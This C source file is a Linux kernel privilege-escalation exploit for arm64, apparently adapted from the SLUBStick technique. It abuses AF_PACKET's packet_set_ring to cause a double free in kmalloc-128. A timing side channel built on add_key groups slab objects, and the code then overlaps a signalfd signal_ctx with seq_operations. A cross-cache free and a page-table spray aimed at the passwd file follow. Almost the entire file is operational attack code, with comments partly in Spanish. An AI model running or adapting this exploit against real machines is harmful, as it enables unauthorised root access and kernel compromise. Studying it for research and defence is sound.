/**
 * 
 * THIS VERSION crashes if it fails (possibly due to inaccurate timing measurements, 
 * since the example measurement primitive in SLUBStick was designed for amd64, not arm64).
 * --> Victim slab is polluted with other objects!
 * 
 * This is the closest version to the one in the SLUBStick paper.
 * 
 */

#define _GNU_SOURCE
#include <sched.h>
#include <assert.h>
#include <fcntl.h>
#include <linux/if_packet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/eventfd.h>
#include <sys/ioctl.h>
#include <sys/timerfd.h>
#include <sys/signalfd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/resource.h>
#include <linux/sched.h>
#include <poll.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <errno.h>
#include <keyutils.h>
#include "../include/exploit.h"
#include "../include/util.h"
#include "../include/signalfd_spray.h"
#include "../include/pte_spray.h"
static int cpu_partial_slabs = 8;
static int objs_per_slab = 32;
static int min_partial = 5;
static int threshold = -10;
static int slab_per_chunk = 8;
static int slab_as_reclaimed_page_table = 1;
int objects_fd[4096];

static inline uint64_t read_cntvct(void)
{
  uint64_t val;
  asm volatile("mrs %0, cntvct_el0" : "=r"(val));
  return val;
}

static inline uint64_t read_cntfrq(void)
{
  uint64_t val;
  asm volatile("mrs %0, cntfrq_el0" : "=r"(val));
  return val;
}

void alloc_obj(int i, sigset_t mask)
{
  objects_fd[i] = signalfd(-1, &mask, 0);
}

void free_object(int i, int victim_fd)
{
  int fd = objects_fd[i];
  if (fd != victim_fd && fd != -1)
    close(fd);
}

int run_exploit()
{
  int num_spray = objs_per_slab * (cpu_partial_slabs + 1);
  int fd_s, ret, victim_fd;
  uint32_t block_s = PAGE, frame_s = PAGE / 2;
  int *fds0, *fds_pre_alloc, *fds_post_alloc, *fds_post_alloc_seq;

  printf("\n\n[+] Starting explotation\n");
  pin_cpu(0);

  // Allocating large memory region for future PTE spray
  // void *base = mmap_align(PGT_SRAY_SIZE);

  if ((fd_s = socket(AF_PACKET, SOCK_RAW, 0)) < 0)
    fprintf(stderr, "Error while creating socket: %d\n", fd_s);

  // PACKET_V3
  if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3}, sizeof(int))) < 0)
    perror("Error while setsockopt, setting up packet version (V3)");

  /* Allocate pg_vec - kmalloc-128 */
  union tpacket_req_u treq = {};
  treq.req3.tp_block_size = block_s;       // 4096
  treq.req3.tp_block_nr = TARGET_SIZE / 8; // tp_block_nr * 8 sera el tamano del kmalloc a atacar
  treq.req3.tp_frame_size = block_s;       // 2048
  treq.req3.tp_frame_nr = TARGET_SIZE / 8;
  treq.req3.tp_retire_blk_tov = 0xffffffff; // You only get to do what ever you want for around 1h 10mins, then the kernel panics // this line is from terawhiz exploit

  /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  /* INTENTO DE SLUBSTICK (codigo adaptado de slubstick)*/
  pin_cpu(0);
  int allocs = 4096*8;
  uint64_t t0, t1, delta;
  uint64_t prev_time = 0, time = 0, derived_time = 0;
  int start_indexes[slab_per_chunk];
  const char *keyring;
  size_t running = 0;
  int start = -1;
  uint64_t freq = read_cntfrq(); // ticks por segundo

  /* create key value which causes the kernel to return with an error (fast) */
  char *value;
  value = malloc(128);
  memset(value, 0x41, 128);
  value[0] = '.';
  value[128 - 1] = 0;

  sigset_t mask;
  sigemptyset(&mask);
  sigaddset(&mask, SIGUSR1);

  for (int i = 0; i < allocs; i++)
  {
    if (running == 1 && i - start == (objs_per_slab - 4))
    {
      printf("1st alloc\n");
      // ALLOC PG_VEC
      if ((setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() execution
        perror("Error while setsockopt, packet RX RING (V3), first pg alloc");

      //  1st free: tp_block_nr to 0
      memset(&treq, 0, sizeof(union tpacket_req_u));
      if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring()
        perror("Error while putting rx_owner_map to 0, freeing first pg alloc");

      printf("1st free\n");
      // alloc_obj(i, mask);
    }
    /* Allocation primitive */
    sched_yield();
    alloc_obj(i, mask);

    /* Measurement primitive */
    t0 = read_cntvct();
    ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING);
    ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING);
    ret = add_key(keyring, value, 0, 0, KEY_SPEC_THREAD_KEYRING);
    t1 = read_cntvct();

    if (ret >= 0)
      perror("add_key should be an error");

    prev_time = time;
    delta = t1 - t0;
    time = (delta * 1000000000ULL) / freq;
    // printf("[%d]\tTime taken: %ld\n", i + 1, time);

    /* Grouping allocated objects*/
    if (i > allocs / 16)
    {
      derived_time = time - prev_time;
      if (start == -1)
      {
        if (derived_time < threshold)
        {
          start = i;
          continue;
        }
      }
      else if (i - start == objs_per_slab) // first object of the slab
      {
        if (derived_time < threshold)
        {
          start_indexes[running] = start;
          running++;
          if (running == slab_per_chunk)
            break;
          start = i;
        }
        else
        {
          start = i;
          running = 0;
        }
      }
      if (running == slab_as_reclaimed_page_table && i - start == (objs_per_slab - 4))
      {
        for (int z = 0; z < 5; z++)
          sched_yield();

        printf("change packet v2 for second free\n");

        // free vuln
        // Switch to TPACKET_V2
        if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2}, sizeof(int))) < 0)
          perror("Error while setsockopt, setting packet version(V2) (for the second alloc) ");

        /* 2nd free: kmalloc-128 */
        // memset(&treq, 0, sizeof(treq));
        treq.req3.tp_block_size = block_s;
        treq.req3.tp_block_nr = 1;
        treq.req3.tp_frame_size = block_s;
        treq.req3.tp_frame_nr = 1;
        if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring()
        {
          perror("setsockopt rx ring v2, second FREE");
          fprintf(stderr, "Error while setsockopt RX RING (V2): %d\n", ret);
        }
        printf("\nsecond FREEING signal_ctx\n");

      }
    }
  }
  if (running != slab_per_chunk)
    printf("\nstart not found\n");
  for (size_t i = 0; i < slab_per_chunk; ++i)
    printf("start %ld\n", start_indexes[i]);

  // Trying to catch the freed signal_ctx (overlap with seq_operations)
  printf("\nSpraying seq_operations objects...\n");
  fds_post_alloc_seq = spray_seq_operations(objs_per_slab + 1);

  // Encontrar fd de signal_ctx overlapeado
  victim_fd = leak_signal_fd_not_equal_sigmask(&objects_fd[start_indexes[1]], objs_per_slab + 1, SIGMASK_1st_SPRAY);
  if (victim_fd >= 0)
  {
    printf("¡¡Encontrado signal_ctx en fd = %d!!\n", victim_fd);
    read_fdinfo(victim_fd);
  }
  else
  {
    printf("No se encontró ningún sigmask!=0000000000002000\n");
    exit(1);
  }
  fcntl(victim_fd, F_SETFD, FD_CLOEXEC);

  // CROSS CACHE ATTACK: Free objects
  for (size_t i = 0; i < slab_per_chunk; ++i)
  {
    for (ssize_t j = 0; j < (ssize_t)objs_per_slab; ++j)
    {
      free_object(start_indexes[i] + j, victim_fd);
    }
  }

  pte_spray_passwd(victim_fd);

  // Spray PTE
  /* touch_user_ptes(base, PGT_SRAY_SIZE);

  read_fdinfo(victim_fd);

  read_fdinfo(victim_fd); */

  sleep(2); 
  printf("fiiiin");
  free_user_ptes2();

  // Libera la región mapeada de tablas de PTE.
  // free_user_ptes(base, PGT_SRAY_SIZE);
}